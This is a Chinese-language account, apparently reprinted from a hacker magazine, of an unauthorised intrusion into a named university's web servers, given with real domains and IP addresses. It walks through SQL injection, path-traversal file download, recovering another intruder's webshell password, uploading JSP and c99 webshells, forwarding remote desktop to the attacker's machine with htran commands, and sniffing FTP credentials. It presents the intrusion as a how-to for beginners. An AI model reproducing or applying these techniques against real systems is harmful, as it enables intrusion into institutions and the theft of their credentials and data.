渗透北京交通大学主站

已发表在《黑客x档案》某某期上
目标是我所在的学校:北京交通大学的主站。高校站的安全是大家有目共睹的。细心搜集信息就是了。这个过程中没有运用到什么新的技术,可以供新手朋友了解一下通过嗅探来达到入侵目的一个典型过程,渗透中最重要的就是思路的运用嘛。
主站ip为202.112.144.31,看了下,全静态页面,在同服务器上的也没有其他站,只开21、80端口,linux系统,主站的安全肯定没得说,最起码凭我这种小菜是拿不下的。于是初步决定利用嗅探。在同c段扫描80端口,发现只有一个202.112.144.32开放,就先去看看它的情况。
图1是202.112.144.32端口的开放情况,ping了下,TTL为125,可能是Win操作系统。从扫描情况来看,目前对服务器所掌握的信息有:Win系统、网络服务只有FTP、Web。分别访问了下80和8080端口,是学生处和教务处的网站,所用脚本分别是asp和jsp。根据现在所掌握的信息来看,开放的端口很少,最有可能的突破口的就是Web了。我先去看看学生处吧,首先jsp不好搞,其次一般学校对教务处的安全也比较重视。

看到asp的站,最先想到的就是SQL Injection了,点一个新闻进去,在url的参数后面加了个’,出现了未闭合引号错误,如图2。用啊D得到密码后开始找后台,用wwwscan扫描下站点的目录结构,结果如图3。得到了manage和dbase这两个比较敏感的目录。在浏览器中访问http://jgxsc.njtu.edu.cn/manage/,竟然发现可以遍历目录内容。得知登陆页面是login.asp,顺便访问了下dbase,下载了dbase中的数据库文件,里面的管理员信息和利用注入点猜解出的信息吻合。


登录后发现这个后台基本没有什么权限,镶嵌了eWebEditor的编辑页面。利用这个网站内容编辑器拿shell的方法有很多。我们点那个笑脸,添加一个表情,然后查看其地址,得到eWebEditor所在目录。然后试了试默认密码、下载默认数据库、还有前段时间的上传页面注入的利用,都失败了。而网站自己写的那个后台的功能太简单了,利用这个后台搞破坏倒是能做到,可是要想通过这个获得webshell还是有一定难度的。
进行到了这里,好像没有什么可利用的了,我便开始在上面瞎翻,突然看到ewebeditor下的上传目录uploadfile有一个asa文件(图4)。莫非有“同道中人”来过?试着访问了一下,当真是前人留下的webshell, 那么eweb的安全做的这么好也就不奇怪了,黑客帮打的补丁..可我们没有密码也只能看着这可爱的马儿干着急。

思路到这里好像僵死了。但想想,既然有人已经进来了,说明这个站还是有可利用点可以拿webshell的,我就继续在网站上瞎转悠,突然发现有个资源下载的地方,连接的url都是形如:download.asp?FileUrl=2008611761278221.doc(如图5),如果这个文件的FileUrl参数没有过滤../的话,我就可以通过../来跳出当前目录下载web目录中的其他文件。于是尝试以web根目录下的index.asp为标志用../跳到站点根目录。先试着提交download.asp?FileUrl=../index.asp,无法显示,跳出一级不可以,那再向上跳一级,提交download.asp?FileUrl=../../index.asp终于出现了下载框(图6),这样就好办了!我们可以下载刚才遇到的那个别人的webshell,看源码便可以知道密码,从而登陆他的webshell。根据shell的相对路径路径构造download.asp?FileUrl=../../ewebeditor/uploadfile/2008611568654565.asa,成功的下载了webshell,打开发现加密了(图7)。连密码部分也给加密了。可是开头的“<%@ LANGUAGE = VBScript.Encode %>”提示我们这是用ScriptEncoder加密的,在http://www.hao123.com/haoserver/jmjm.htm解密后,得到密码是abc123。

赶紧找到那个webshell,填上abc123点登陆。先用脚本木马扫描下开放端口,比远程扫描时候多了3389(图8),应该是限制了登陆ip段的缘故吧。WScript.Shell没有删, net start一下,竟然没有发现任何杀软、防火墙的服务,同服务器上还有个tomcat的教务处的站,要是运行在system权限下我们就省得提权了,于是就着手开始找教务处的根目录。试着访问下D盘根目录,没想到在这里可以跳转服务器上的任意目录,可读可写。

学生处域名是jgxsc.njtu.edu.cn,对应的网站根目录是D:xxxjgxsc,教务处的域名是jgjwc.njtu.edu.cn,于是找到D:xxxjgjwc,发现里面根本就没有网站文件,都是一些二进制可执行文件。找不到站点绝对路径,怎么办?在服务器上瞎翻?突然想到那个“同道中人”的webshell里有个搜索的功能,于是在教务处主页上找了个连接,拿url中一个特长的文件名作为关键字进行搜索,如:infor_detail_window.jsp,只有一个结果,在D:xxxxxx下(图9);马上在D:xxxxxx上传了一个jsp木马。在jsp下执行whoami,权限是system。

虽然在jsp木马下的shell已经是系统权限了,可是要进行嗅探还是图形化界面方便些,于是开始尝试连接对方远程桌面。在自己机器上扫描不到3389,而在脚本木马中扫描却是开放的,这说明还是限制了其他ip的登陆,这个难不倒我们,用htran进行端口转发。用webshell向服务器上传htran,这里我传到了D:xxxsys.exe,然后在本地运行Htran,命令为”htran.exe -Listen 9999 8888″,开启9999和8888端口,端口9999用于监听。之后在webshell中执行”D: xxxsys.exe -Slave x.x.x.x 9999 127.0.0.1 3389″,将服务器的3389端口映射到我机器的9999端口上。命令执行成功后你会在本地运行htran的CMD窗口中看到服务器已经连接到本地的9999端口(图10)。通过连接本地8888顺利登陆到服务器的远程桌面。

在教务处服务器上执行tracert 202.112.144.3(图11),证明自己和主站在同一交换环境下,满足嗅探条件。安装好Cain和WinPcap驱动后开始针对202.112.144.31进行嗅探。运气还不错,上午刚开始,下午便嗅出了目标的2个ftp用户(如图12),其中一个是webadmin,很像是网站的管理账户啊,登陆上去,发现ftp目录就是是web目录。传上去一个c99,至此,交大主站的web权限已拿到手(图13)。
 

作者Tm3yShell7由网络安全攻防研究室(www.91ri.org) 信息安全小组收集整理.